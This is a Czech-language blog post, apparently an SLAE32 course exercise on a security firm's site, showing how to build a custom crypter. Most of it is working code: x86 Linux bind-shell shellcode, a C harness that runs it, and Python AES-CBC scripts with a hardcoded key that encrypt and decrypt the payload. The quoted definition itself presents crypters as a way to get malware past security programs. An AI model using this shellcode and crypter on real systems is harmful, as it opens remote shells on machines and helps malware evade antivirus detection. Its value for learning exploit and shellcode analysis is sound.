32bitový Custom Crypter

V sedmém textu této 32bitové série bude demonstrována tvorba custom crypteru pomocí již existujícího schématu.

“A crypter is a type of software that can encrypt, obfuscate, and manipulate malware, to make it harder to detect by security programs. It is used by cybercriminals to create malware that can bypass security programs by presenting itself as a harmless program until it gets installed.” Zdroj

Pro demonstraci budeme používat shell_bind_tcp. Otestujeme shellcode:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Budeme využívat AES-CBC šifrování pomocí pythonu. Více informací ohledně použitého schématu naleznete zde:

CBC šifrování používá bloky o velikosti 16 bytů.

# !/usr/bin/env python2
# File name: encrypter.py
# Author: SLAE-14209
 
from Crypto.Cipher import AES
 
data = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
 
cipher = AES.new('MY_PASSWORD12345', AES.MODE_CBC, '1234567890123456')
 
l = len(data)
g = l%16
t = 16 - g
print "offset: " + str(t)
data = data + "A" * t
enc = cipher.encrypt(data)
encoded = ""
for x in bytearray(enc):
  encoded += '\\x'
  enc = '%02x' % x
  encoded += enc  
 
print encoded

Jak můžeme vidět, encrypter funguje. Offset je 12 a zašifrovaný shellcode je:

\xf2\xe4\x60\x3a\xb1\x2d\x20\xd8\x2b\x5b\xd5\x1a\x31\xd2\x65\xa3\x83\x86\xaa\x7e\xc1\x71\x12\x7d\x12\xd8\x9a\x79\xd6\xf3\x69\xd6\x1d\x94\x70\x24\x0a\x3b\x2e\xad\xe2\xad\x31\xf7\x0a\xba\x96\x3e\xbc\x3f\x03\xe3\xcb\x2b\x8c\x93\x5b\xc4\xac\x35\x74\xa6\x29\x5a\x03\x06\x20\x40\xda\x53\x9f\xd7\x10\xf8\x1d\x74\x42\x5c\x92\x07\x08\xa9\xfb\xf1\x9e\x6e\x91\x85\x9e\xa0\xe6\x7b\xd3\x71\x86\xfb\x51\xb9\xdc\x3d\x5f\x95\x73\x1e\x55\x98\x77\xa0\xb1\x38\x92\x61\x2b\x33\x01\x76\x80\xb8\xb8\xce\x67\xce\x14\x3a\xb2\xef\x6a\xd0

Dále musíme vytvořit decrypter.

# !/usr/bin/env python2
# File name: decrypter.py
# Author: SLAE-14209
 
from Crypto.Cipher import AES
 
offset = 12
 
data = ("\xf2\xe4\x60\x3a\xb1\x2d\x20\xd8\x2b\x5b\xd5\x1a\x31\xd2\x65\xa3\x83\x86\xaa\x7e\xc1\x71\x12\x7d\x12\xd8\x9a\x79\xd6\xf3\x69\xd6\x1d\x94\x70\x24\x0a\x3b\x2e\xad\xe2\xad\x31\xf7\x0a\xba\x96\x3e\xbc\x3f\x03\xe3\xcb\x2b\x8c\x93\x5b\xc4\xac\x35\x74\xa6\x29\x5a\x03\x06\x20\x40\xda\x53\x9f\xd7\x10\xf8\x1d\x74\x42\x5c\x92\x07\x08\xa9\xfb\xf1\x9e\x6e\x91\x85\x9e\xa0\xe6\x7b\xd3\x71\x86\xfb\x51\xb9\xdc\x3d\x5f\x95\x73\x1e\x55\x98\x77\xa0\xb1\x38\x92\x61\x2b\x33\x01\x76\x80\xb8\xb8\xce\x67\xce\x14\x3a\xb2\xef\x6a\xd0")
 
cipher = AES.new('MY_PASSWORD12345', AES.MODE_CBC, '1234567890123456')
 
h = cipher.decrypt(data)
decoded = ""
for x in bytearray(h):
decoded += '\\x'
enc = '%02x' % (x & 0xff)
decoded += enc        
 
print decoded[0:-offset*4]

Protože je output stejný jako původní shellcode vidíme, že decrypter funguje, můžeme jej otestovat:

#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc7\x31\xc0\x66\xb8\x69\x01\x89\xfb\x31\xc9\x51\x51\x66\x68\x23\x29\x66\x6a\x02\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x89\xfb\x31\xc9\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xfb\x31\xc9\x31\xd2\x31\xf6\xcd\x80\x31\xff\x89\xc7\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
main()
{
printf("Shellcode Lenght: %d\n", strlen(code));
 
int (*ret)() = (int(*)())code;
 
ret();
 
}

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32

Naše služby

Penetrační testování infrastruktury

Skenování zranitelností webových aplikací a interní infrastruktury

Testování pomocí metod sociálního inženýrství

Testování Wi-Fi sítí

Šifrovaný telefon

Rušičky odposlechů

Šifrovaný disk

Penetrační testování webových aplikací

Konzultace IT bezpečnosti

Vyhledávání odposlechů

Následující příspěvek
Password protected Shell_Bind_Tcp 64bitový Shellcode
Předchozí příspěvek
Polymorfní 32bitové shellcody
Menu